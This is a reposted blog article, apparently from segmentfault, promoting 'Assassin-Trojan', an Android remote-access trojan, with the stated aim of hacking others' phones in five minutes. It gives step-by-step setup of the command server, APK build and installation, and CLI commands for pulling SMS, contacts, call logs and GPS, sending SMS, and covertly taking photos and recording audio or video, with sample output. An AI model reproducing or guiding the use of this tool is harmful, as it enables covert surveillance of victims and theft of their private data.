Hack一部Android手机只需要5分钟?

Assassin-Trojan—Hack Others’ Android Devices Within 5mins

《Hack一部Android手机只需要5分钟?》

hack the android device with only one instruction on your terminal

Github address click here

Base Environment

you are not required know how these tools work on your machine,but install them first!

And now let me show you the crazy snapshot

Snapshot

as you can see

  • “ASSASSIN” means the server is started up successfully
  • then open another terminal, and cd the /project/server, execute a cmd and you will receive response as you can see at second pic, it shows all of contacts on your device.

《Hack一部Android手机只需要5分钟?》

Features

  • get Sms_List
  • send Sms to destinationAddress
  • get Calling_History
  • get GPS
  • get Contacts_List

something that u can do in background

  • call someone
  • take a photo
  • record audio
  • record video

of course the duration decided by yourself

Construction

《Hack一部Android手机只需要5分钟?》

Follow me, within 5 mins, you can hack the phone

Usage

Options:
  -V, --version             output the version number
  -a,--assassin <assassin>  select a command post to the clients if you choose the shadow you should input the cmd -t to choose a type between pic/audio/video [sms,contacts,call,gps,shadow] (default: "sms")
  -C,--Clients              show every client info
  -d,--address <address>    input a phone num who you want to send a msg
  -m,--msg <msg>            you should write the msg content, if your command is sms
  -t,--type <type>          select a type between pic/audio/video and you should input the -l to choose the camera lens [pic,audio,video]
  -c,--client <client>      select a client to post the command
  -l,--lens <lens>          which camera lens that you want to open [0,1]
  -h, --help                output usage information

Step.1 clone/download the project and start up the server

1. git clone git@github.com:honglvt/TalentRAT.git / or download the project yourself on the github
2. cd the project path such as: ~/AndroidProject/ProjectPath/Server/
3. cd Server 
4. npm install
5. npm start
now you can see the terminal console "ASSASSIN"

Step.2 build assasin.apk with shell at project folder

befor build the apk

  • confrim that you have prepare the env for building the app
  • connect the android device to ur PC
  • enable the develop mode on ur android device

if you can not do step.2 and step.3 you can build the assassin.apk and install it to your device manually
now let’s start assembleApk

at the first time when you download the project you should confirm your OS type mac or linux, 
and get your server IPAdress by "ifconfig/ipconfig" 
0.  chmod 777 ./assembleApk.sh
    chmod 777 ./installNewestApk.sh
1.  execute the assemble shell  "./assaembleApk.sh OS serverIP"        
    serverIP type as 127.0.0.1:3000   
    OS type as mac or linux
    as follows:
    "./assembleApk.sh mac 127.0.0.1:3000"
    "./assembleApk.sh linux localHost:3000"
2.  ./installNewestApk.sh
    if you are not able to connect the device to your PC, send the apk by email or xx and install it manually
3.  look at your device, the apk has been installed into your device
    run it 
    grant all of permissions 
    and now you can see { a user connected info }at terminal you have opened at Step.1

Step.3 execute command,then you will get whaterver you want!!!

cmd./assassin.js -a sms -c 9910294050493
descriptionselect the command between [sms,contacts,call,gps,shadow] if you choose the shadow you should also use -t to choose a type between pic/audio/video

args with -c can be gotten at server terminal {a user connected info}
type the cmd into a new terminal at ~/project/Server
and the result:

{
    "command": "send_contacts_list",
    "IMEI": "99001249798100"
}
response is : 
[{name:ASX,phoneNum:2345 67}]

Prompt

  • keep node server alive when you send a command
  • cmd with ./assassin.js will return a Json data you can do whatever with the response
  • if you want to get a pic or video you should type the cmd as follow:

    • ./assassin.js -a shadow -c 123456 -t pic -l 0
    • then you can find the pic has saved on the */project/Server/public/images/xxxx.jpeg’
    • the same with other shadow
  • the duration in recording video or audio is decided by yourself

Finally

  • the assassin version is beta 1.0.0
  • adapted android Lollipop-Pie
  • commit issues to me
  • commit features to me
  • more features are in developing

Contact information QQ群

《Hack一部Android手机只需要5分钟?》

    原文作者:洪晨
    原文地址: https://segmentfault.com/a/1190000018924466
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞